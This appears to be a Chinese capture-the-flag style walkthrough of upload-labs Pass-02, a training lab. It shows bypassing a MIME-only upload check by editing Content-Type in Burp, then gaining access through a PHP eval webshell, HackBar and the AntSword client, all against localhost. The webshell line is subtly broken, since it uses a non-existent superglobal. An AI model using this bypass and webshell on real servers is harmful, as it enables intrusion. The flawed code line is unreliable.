当前位置: 首页 > news >正文

upload-labs通关笔记-第2关 文件上传之MIME绕过

目录

一、MIME字段

1. MIME 类型的作用

2. 常见的 MIME 类型

二、实验准备

1.构造脚本

2.打开靶场

3.源码分析

三、修改MIME字段渗透法

1.选择shell脚本

2.bp开启拦截

3.上传脚本bp拦包

4.bp改包

5.获取脚本地址

6.获取木马URL

7.hackbar渗透

8.蚁剑渗透


本文通过《upload-labs靶场通关笔记系列》来进行upload-labs靶场的渗透实战,本文讲解upload-labs靶场第二关文件MIME渗透实战,通过修改MIME字段完成渗透。

一、MIME字段

MIME 类型(Multipurpose Internet Mail Extensions,多用途互联网邮件扩展)最初用于电子邮件系统,后来被广泛用于 HTTP协议,用于标识文件类型。在文件上传攻击中,MIME类型检测是攻击者常绕过的点。

1. MIME 类型的作用

  • 浏览器:根据 Content-Type 决定如何处理文件(如显示图片、下载文件、执行脚本)。

  • 服务器:用于校验上传文件的类型(如只允许 image/jpeg)。

2. 常见的 MIME 类型

文件类型MIME 类型
JPEG 图片image/jpeg
PNG 图片image/png
GIF 图片image/gif
PDF 文档application/pdf
ZIP 压缩包application/zip
JavaScript 文件application/javascript
PHP 脚本text/x-php(或 application/x-httpd-php
HTML 文件text/html
纯文本文件text/plain

二、实验准备

1.构造脚本

构造文件上传的脚本,内容为获取服务器的php版本信息

<?php @eval($_post_pass02[ljn]); ?>

将脚本命名为ljn_post_pass02.php 

Note:特别注意 脚本中符号均为英文符号

2.打开靶场

firefox打开upload-labs靶场的Pass-02文件上传MIME关卡,如下所示。

http://127.0.0.1/upload-labs/Pass-02/index.php

进入文件上传MIME关卡,记得点击“清空上传文件”,这一步手动清空已上传文件,确保此次试验为最新上传结果。

3.源码分析

 分析server段源码,并进行详细注释,如下所示服务端通过检查了报文的mime字段来进行过滤,也就是MIME类型白名单。

<?php
// 初始化上传状态和消息变量
$is_upload = false;  // 标记文件是否上传成功
$msg = null;         // 存储上传过程中的错误或提示信息// 检查用户是否提交了表单(点击了提交按钮)
if (isset($_POST['submit'])) {// 检查上传目录是否存在if (file_exists(UPLOAD_PATH)) {// 检查文件类型是否为允许的图片类型(JPEG、PNG、GIF)if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {// 获取上传的临时文件路径$temp_file = $_FILES['upload_file']['tmp_name'];// 构造目标文件路径(UPLOAD_PATH/原始文件名)$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];// 将临时文件移动到目标目录if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;  // 标记上传成功} else {$msg = '上传出错!';  // 移动文件失败}} else {$msg = '文件类型不正确,请重新上传!';  // 文件类型不符合要求}} else {$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';  // 上传目录不存在}
}
?>

代码的不安全之处在于两点:

  • (1)仅检查了MIME类型,可以通过bp抓包修改绕过。
  • (2)保存文件的时候没有重命名文件,这样即使网页不回显文件保存路径,也有很大概率可以被攻击者猜测到。

综上,分析出服务器检测是否为图片,是通过HTTP request报文中MIME类型在Content-Type字段体现,故而可以通过如下方法进行渗透。

  • Bp改包法1:将php脚本发送到bp改包,将content-type:application/octet-stream改为image/jpeg或者image/jpg或者为image/png,然后将报文上传到服务器绕过检测。

  • bp改包法2:将脚本改为jpg后缀后上传,使通过前端过滤函数的检查, 然后将报文发送给bp,在bp中将报文改为php后缀并上传到服务器(这个与第一关的bp改包方法一样,本文不再赘述)。

三、修改MIME字段渗透法

1.选择shell脚本

 进入到Pass02关卡,浏览选择构造好的脚本。

2.bp开启拦截

firefox开启bp代理,bp设置为inception on。

3.上传脚本bp拦包

点击上传,bp抓包,需要修改content-type。

4.bp改包

将content-type改为image/jpeg,并点击发送,文件上传成功

5.获取脚本地址

脚本上传成功,获取上传一句话木马脚本地址

6.获取木马URL

图片处右键复制图片地址,具体如下所示。

http://127.0.0.1/upload-labs/upload/ljn_post_pass02.php

7.hackbar渗透

上传成功后用hackbar访问脚本

​http://127.0.0.1/upload-labs/upload/ljn_post_pass02.php //URL地址
ljn=phpinfo();//Post参数

 如下所示使用hackbar渗透的效果,成功获取到php信息 

8.蚁剑渗透

上传成功后用蚁剑访问一句话木马

​蚁剑shell地址:http://127.0.0.1/upload-labs/upload/ljn_post_pass02.php  
密码:ljn

如下所示,提示连接成功。

右键选择文件管理,如下所示渗透成功。

相关文章:

  • Spring急速入门
  • YOLOv5推理代码解析
  • KUKA机器人安装包选项KUKA.PLC mxAutomation软件
  • Shell脚本编程3(函数+正则表达式)
  • 3d模型的添加与设置
  • 西电 | 2025年拟录取研究生个人档案录取通知书邮寄通知
  • 猫咪如厕检测与分类识别系统系列~进阶【三】网页端算法启动架构及数据库实现
  • 大语言模型训练的两个阶段
  • 阿里云人工智能大模型通义千问Qwen3开发部署
  • 在IDEA中导入gitee项目
  • Vue学习百日计划-Gemini版
  • C++匿名函数
  • 【爬虫】12306查票
  • 笔记本电脑升级实战手册[3]:扩展内存与硬盘
  • 案例数据清洗
  • 智能网联汽车“内外协同、虚实共生”的通信生态
  • logicflow 操作xml文件 为bpmn:serviceTask标签里存在title匹配的内容后添加指定标签内容。
  • 智能手表测试用例文档
  • MySQL 事务(一)
  • bootstrap自助(抽样)法
  • 香港根据《维护国家安全条例》订立附属法例
  • 支持企业增强战略敏捷更好发展,上海市领导密集走访外贸外资企业
  • 云南一男子持刀致邻居3死1重伤案二审开庭,未当庭宣判
  • 社恐也能嗨起来,《孤独摇滚》千人观影齐舞荧光棒
  • 印度最新发声:对所有敌对行动均予以反击和回应,不会升级冲突
  • 中国金茂新任命三名副总裁,撤销区域公司